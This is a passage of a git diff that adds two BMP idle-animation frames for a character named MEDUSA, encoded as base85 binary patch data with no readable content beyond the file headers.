z@!JALox!;DfbWi|-hTS@!GOe1!{1^B#i*qVA{WnJE~qKSFAl}#c+s1Kc!LqVjbzbQ zhF~*?Kf(}fVUwB({7nLKFIl)lNL>*E$C~UvZ~)v0n#ojkRAT<%p-&|Of~n2~BtCig zG_x>?SmY^OiQ~2fFjx3XGbL}vep`l{y75bqzsssFZ>lb%*KTz5bjnhs5z3H|1fPI> zA7WdmU>gJM%6B5e=9$gK76h`kGQ_)htX4En8ll>4^~t=!$90?%70~drznp9DZehgZ z@TH!j)p%BWFj#mDj`KKp@DR9VD(AVP~v8sM*a-wRg?1y(B|8(N?`gQ9SDROtI z8-F9$Q|xKxu_&}El03x3cN0n7cz-JL@k5pU`c#(ca)3Dmk&`D+W|ky!)5y3a6t2XB z-HQ_pP}nPRlEH}JH1`$llRfK4$}v@kFGc=iR&~Lk)|2M?ca5*3r2`S>iK!st>Lpky zJ*6}wwJa;CG;{UZ0U(So$yIG=wr|^p;lPPaeyo8A@M0-{Bb_xsVu9W7JveNfXG1%9 z>GwBx=}T~bNdGUfPL&Fv0S2hA8s+-c>n-i=O)V|AKm1n{2!{H0C&U6Rfh$1|lb>)(3p#F!F|4`1CzW!gb zs;dv`1*S;=#Fwftm98dOJG|CY=_1*|XKbP{cd`RAgY@R>n7f!`(y8jH7xi-5)Lnl) z@_)?w*DC^Ys(Ycmd-wPzx)9b7LzdFQszvxxo~fgSvmdg(r4{5+ceMXju~V7UGJIqUB>(^b literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cc9a018b6a7d8d47f2f7c552e50fe99fed032c72 GIT binary patch literal 18462 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 EA7nlCYXATM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6ac2bd204ae9bc4cdbe374cd6cafba1a217278f5 GIT binary patch literal 18462 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 